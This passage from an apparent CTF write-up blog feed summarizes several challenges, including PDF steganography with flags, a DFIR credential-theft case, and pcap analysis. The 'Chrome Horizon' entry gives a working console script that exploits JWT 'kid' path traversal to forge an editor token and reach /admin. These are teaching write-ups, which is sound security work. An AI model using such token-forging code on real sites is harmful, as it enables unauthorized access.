-&amp;gt; InvAffine -&amp;gt; BZ2&lt;/code&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;volatility_volshell_dump.txt&lt;/code&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;PID: 4910 | Image: vault_daemon.elf | Command: /usr/local/bin/vault_daemon --port 0xBEEF&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;Crypto: DH Key Exchange (p=65521, g=17). Master key = SHA512(Shared_Secret).&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;Pipeline: XOR(SHA512) -&amp;gt; GZIP -&amp;gt; Invert(~b)/Reverse -&amp;gt; ZLIB -&amp;gt; Inverse_Affine[(b^0xAA - 37)*modinv(13,256)] -&amp;gt; BZ2.&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;knock_daemon.log&lt;/code&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Shows client public key $A$ sent on port &lt;code&gt;22222&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Server public key $B$ transmitted in &lt;code&gt;RST/ACK&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Client private key $a$ verified on port &lt;code&gt;33333&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Port &lt;code&gt;48879&lt;/code&gt; (&lt;code&gt;0xBEEF&lt;/code&gt;) opened for 500ms.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="2-diffie-hellman-key-exchange-analysis"&gt;&#10; &lt;a href="#2-diffie-hellman-key-exchange-analysis" class="md-heading-anchor"&gt;&#10; 2. Diffie-Hellman Key Exchange Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Inspecting frames 119 to 122 in &lt;code&gt;capture_port_knock_mirror.pcap&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Two Faces</title><link>https://hotwater-online.xyz/writeups/xploit/two-faces/</link><pubDate>Thu, 08 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/xploit/two-faces/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XploitXβ{tw0_f4c3s_0n3_f1l3_0rph4n_0bj3ct}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id="solution"&gt;&#10; &lt;a href="#solution" class="md-heading-anchor"&gt;&#10; Solution&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;h3 id="1-read-the-pdf-metadata--visible-text"&gt;&#10; &lt;a href="#1-read-the-pdf-metadata--visible-text" class="md-heading-anchor"&gt;&#10; 1. Read the PDF metadata / visible text&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&lt;code&gt;exiftool&lt;/code&gt; shows the PDF &lt;code&gt;Keywords&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dHcxbl9mNGMzc180cjNfaDRyZA==&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Base64-decodes to &lt;code&gt;tw1n_f4c3s_4r3_h4rd&lt;/code&gt; (&amp;quot;twin faces are hard&amp;quot;).&lt;/p&gt;&#10;&lt;p&gt;The page content stream also contains white-coloured text (invisible against the&#10;white page):&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;XploitXbeta{wh1t3_t3xt_1s_n0t_th3_w4y}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is a &lt;strong&gt;decoy&lt;/strong&gt; (&amp;quot;white text is not the way&amp;quot;).&lt;/p&gt;&#10;&lt;h3 id="2-extract-the-embedded-zip"&gt;&#10; &lt;a href="#2-extract-the-embedded-zip" class="md-heading-anchor"&gt;&#10; 2. Extract the embedded ZIP&#10; &lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&lt;code&gt;binwalk&lt;/code&gt; locates a ZIP appended at offset &lt;code&gt;0x4EB&lt;/code&gt;. It contains two entries, both&#10;encrypted. The passphrase is the decoded keyword: &lt;strong&gt;&lt;code&gt;tw1n_f4c3s_4r3_h4rd&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;</description></item><item><title>Shadow Consent</title><link>https://hotwater-online.xyz/writeups/luna1/shadow-consent/</link><pubDate>Sat, 03 Oct 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/luna1/shadow-consent/</guid><description>&lt;h2 id="dfir-challenge--extreme-difficulty"&gt;&#10; &lt;a href="#dfir-challenge--extreme-difficulty" class="md-heading-anchor"&gt;&#10; DFIR Challenge — Extreme Difficulty&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;strong&gt;Organization:&lt;/strong&gt; Beacon Data Systems&lt;br&gt;&#10;&lt;strong&gt;Incident Date:&lt;/strong&gt; 2024-03-14&lt;br&gt;&#10;&lt;strong&gt;Analysis Date:&lt;/strong&gt; 2024-03-16&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="case-brief"&gt;&#10; &lt;a href="#case-brief" class="md-heading-anchor"&gt;&#10; Case Brief&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;On March 14, Beacon's security team detected an OAuth token exchange at 14:37 UTC directed at a cloud service account (&lt;code&gt;svc-app02@beacon.local&lt;/code&gt;). Sixteen minutes later, a legitimate-looking Kerberos service ticket request appeared on the domain controller. By 15:04, administrative credentials were extracted from memory on an internal application server.&lt;/p&gt;&#10;&lt;p&gt;The timeline is tight. The attackers moved fast. The evidence is fragmented across mail logs, workstation artifacts, Windows event logs, and network telemetry — and some of it contradicts itself.&lt;/p&gt;</description></item><item><title>Chrome Horizon — Manual Solve</title><link>https://hotwater-online.xyz/writeups/sun/chrome-horizon-manual-solve/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/chrome-horizon-manual-solve/</guid><description>&lt;h2 id="browser-method"&gt;&#10; &lt;a href="#browser-method" class="md-heading-anchor"&gt;&#10; Browser method&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Open the challenge site in Chrome.&lt;/li&gt;&#10;&lt;li&gt;Press &lt;code&gt;F12&lt;/code&gt; and open the &lt;strong&gt;Console&lt;/strong&gt; tab.&lt;/li&gt;&#10;&lt;li&gt;Paste and run the following script:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;div class="mb-codeblock" data-lang="js"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;js&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;b64url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bytes&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;btoa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\+/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;-&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/\//g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;_&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/=+$/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;obj&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;header&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;alg&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;kid&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;../static/style.css&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;typ&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;editor&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;role&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;editor&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;css&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;/static/style.css&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;arrayBuffer&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;importKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;raw&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;css&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;HMAC&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SHA-256&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;sign&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kr"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;subtle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;HMAC&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;TextEncoder&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sb"&gt;`token=&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;.&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;b64url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signature&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;; path=/`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;/admin&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;})();&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The script exploits the JWT &lt;code&gt;kid&lt;/code&gt; path traversal vulnerability. It uses the&#10;publicly accessible &lt;code&gt;/static/style.css&lt;/code&gt; file as the HMAC signing key, forges&#10;an editor-role token, stores it in the &lt;code&gt;token&lt;/code&gt; cookie, and opens &lt;code&gt;/admin&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>TOMORROW-MART — SunshineCTF 2026</title><link>https://hotwater-online.xyz/writeups/sun/tomorrow-mart-sunshinectf-2026/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/tomorrow-mart-sunshinectf-2026/</guid><description>&lt;h2 id="challenge-overview"&gt;&#10; &lt;a href="#challenge-overview" class="md-heading-anchor"&gt;&#10; Challenge overview&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The storefront offers a Founder’s Vault deed as lot &lt;code&gt;4042&lt;/code&gt; for &lt;code&gt;1,000,000&lt;/code&gt; credits. New FutureBank accounts only receive 500 credits, so the intended path is to find a discount code that is not shown in the UI.&lt;/p&gt;&#10;&lt;h2 id="1-inspect-the-application"&gt;&#10; &lt;a href="#1-inspect-the-application" class="md-heading-anchor"&gt;&#10; 1. Inspect the application&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Open the challenge site in a browser and press &lt;code&gt;F12&lt;/code&gt; to open Developer Tools. The checkout page’s JavaScript shows that the site uses a GraphQL endpoint at:&lt;/p&gt;</description></item><item><title>Welcome</title><link>https://hotwater-online.xyz/writeups/sun/welcome/</link><pubDate>Mon, 28 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sun/welcome/</guid><description>&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;File provided:&lt;/strong&gt; &lt;code&gt;welcomecall.pcap&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;sun{thankyouforplaying}&lt;/code&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;h2 id="1-initial-analysis"&gt;&#10; &lt;a href="#1-initial-analysis" class="md-heading-anchor"&gt;&#10; 1. Initial Analysis&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;We are provided with a packet capture file &lt;code&gt;welcomecall.pcap&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;Using &lt;code&gt;tshark&lt;/code&gt; to check protocol conversations:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="bash"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;bash&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tshark -r welcomecall.pcap -q -z conv,udp -z rtp,streams&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Output:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;========================= RTP Streams ========================&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Start time End time Src IP addr Port Dest IP addr Port SSRC Payload Pkts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0.400000 15.940000 192.0.2.10 4000 192.0.2.20 4002 0x48271739 g711U 778&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;==============================================================&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The capture contains:&lt;/p&gt;</description></item><item><title>Countersign attestation core v2</title><link>https://hotwater-online.xyz/writeups/h7ctf/countersign-attestation-core-v2/</link><pubDate>Sun, 27 Sep 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/h7ctf/countersign-attestation-core-v2/</guid><description>&lt;p&gt;Reverse engineering of the &lt;code&gt;countersign&lt;/code&gt; PIE binary and a protocol-only solver that recovers the&#10;24-byte &lt;code&gt;RUN&lt;/code&gt; payload for any live instance.&lt;/p&gt;&#10;&lt;h2 id="tldr"&gt;&#10; &lt;a href="#tldr" class="md-heading-anchor"&gt;&#10; TL;DR&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;div class="table-wrap" role="region" aria-label="Scrollable data table" tabindex="0"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th&gt;instance&lt;/th&gt;&#10; &lt;th&gt;sections&lt;/th&gt;&#10; &lt;th&gt;records&lt;/th&gt;&#10; &lt;th&gt;live edges&lt;/th&gt;&#10; &lt;th&gt;start&lt;/th&gt;&#10; &lt;th&gt;emit&lt;/th&gt;&#10; &lt;th&gt;flag&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td&gt;A (&lt;code&gt;:43186&lt;/code&gt;)&lt;/td&gt;&#10; &lt;td&gt;40&lt;/td&gt;&#10; &lt;td&gt;127&lt;/td&gt;&#10; &lt;td&gt;53&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x02f6&lt;/code&gt;&lt;/td&gt;&#10; &lt;td&gt;&lt;code&gt;0x05d3&lt;/code&gt;&lt;/td&gt;&#10; 